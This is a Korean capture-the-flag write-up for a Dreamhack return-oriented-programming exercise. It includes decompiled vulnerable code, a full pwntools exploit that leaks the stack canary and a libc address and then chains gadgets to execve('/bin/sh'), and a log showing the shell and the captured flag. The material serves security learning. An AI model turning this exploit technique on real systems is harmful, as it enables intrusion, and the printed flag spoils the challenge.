Description

    Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.


    checksec

    seo@seo-virtual-machine:~/Desktop/rop$ checksec --file ./rop
    [*] '/home/seo/Desktop/rop/rop'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x3ff000)

    이번 문제는 이전 basic_rop_x64 문제와 달리 스택 카나리 보호 기법이 적용되어있다.


    Decompiled-src

    main

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[56]; // [rsp+0h] [rbp-40h] BYREF
      unsigned __int64 v5; // [rsp+38h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      setvbuf(stdin, 0LL, 2, 0LL);
      setvbuf(stdout, 0LL, 2, 0LL);
      puts("[1] Leak Canary");
      write(1, "Buf: ", 5uLL);
      read(0, buf, 256uLL);
      printf("Buf: %s\n", buf);
      puts("[2] Input ROP payload");
      write(1, "Buf: ", 5uLL);
      read(0, buf, 256uLL);
      return 0;
    }

    할당된 56바이트의 buf에 read함수로 256바이트만큼이나 넘치게 입력받고 있다.

    그리고 스택 카나리를 노출시킬 수 있도록 입력받은 버퍼를 출력하게끔 코드가 추가되었다.


    Solution

    이전 basic_rop_x64 문제와 달리 크게 다를바 없다.

    처음에 스택 카나리의 1바이트인 \x00을 덮어써서 노출시키게 만들고,
    스택 카나리는 유지한채로 스택 오버플로우를 발생시키게 만들면 된다.

    스택 카나리는 buf를 57바이트만큼 더미로 채우면 획득할 수 있다.


    solve.py

    from pwn import *
    #context.log_level = 'debug'
    warnings.filterwarnings( 'ignore' )
    
    #p = process("./rop")
    p = remote('host3.dreamhack.games', 22531)
    
    p.recvuntil("Buf: ")
    
    payload = b""
    payload += b"A" * 57
    
    p.send(payload)
    
    canary = p.recvline()
    canary = canary.split(b"A")[-1]
    canary = canary.split(b"\n")[0]
    canary = canary.split(b"\x01")[0]
    canary = b"\x00" + canary
    canary = u64(canary)
    print(f"canary: {hex(canary)}")
    
    p.recvuntil("Buf: ")
    pop_rdi_ret = 0x400853
    e = ELF('./rop')
    
    payload = b""
    payload += b"A"*0x38
    payload += p64(canary)
    payload += b"B"*0x8
    payload += p64(pop_rdi_ret)
    payload += p64(e.got['puts'])
    payload += p64(e.symbols['puts'])
    payload += p64(e.symbols['main'])
    p.send(payload)
    
    #get leaked puts_got
    puts_got_mem = p.recvline()
    puts_got_mem = puts_got_mem[0:6]
    puts_got_mem += b"\x00\x00"
    puts_got_mem = u64(puts_got_mem)
    libc_base = puts_got_mem - 0x80ed0
    print(f"puts_got_mem: {hex(puts_got_mem)}")
    print(f"libc_base: {hex(libc_base)}")
    
    #Stage 2. execve"/bin/sh", NULL, NULL);
    system = 0x50d60 + libc_base
    execve = 0xEB0F0 + libc_base
    bin_sh = 0x1d8698 + libc_base
    pop_rsi_ret = libc_base + 0x2be51
    pop_rdx_pop_r12_ret = libc_base + 0x11f497
    
    p.recvuntil("Buf: ")
    payload = b""
    payload += b"A" * 0x38
    payload += p64(canary)
    payload += b"B" * 8
    #set rdi
    payload += p64(pop_rdi_ret) 
    payload += p64(bin_sh) #arg1: /bin/sh
    #set rsi
    payload += p64(pop_rsi_ret)
    payload += p64(0) #arg2: NULL
    #set rdx
    payload += p64(pop_rdx_pop_r12_ret)
    payload += p64(0) #rdx #arg3: NULL
    payload += p64(0) #r12
    payload += p64(execve)
    p.send(payload)
    
    p.recvuntil("Buf: ")
    p.send(payload)
    
    
    p.interactive()

    Result

    seo@seo-virtual-machine:~/Desktop/rop$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 22531: Done
    canary: 0x80e05aaef4426800
    [*] '/home/seo/Desktop/rop/rop'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x3ff000)
    puts_got_mem: 0x7ff294c66ed0
    libc_base: 0x7ff294be6000
    [*] Switching to interactive mode
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    [2] Input ROP payload
    Buf: $ ls
    flag
    rop
    run.sh
    $ cat flag
    DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다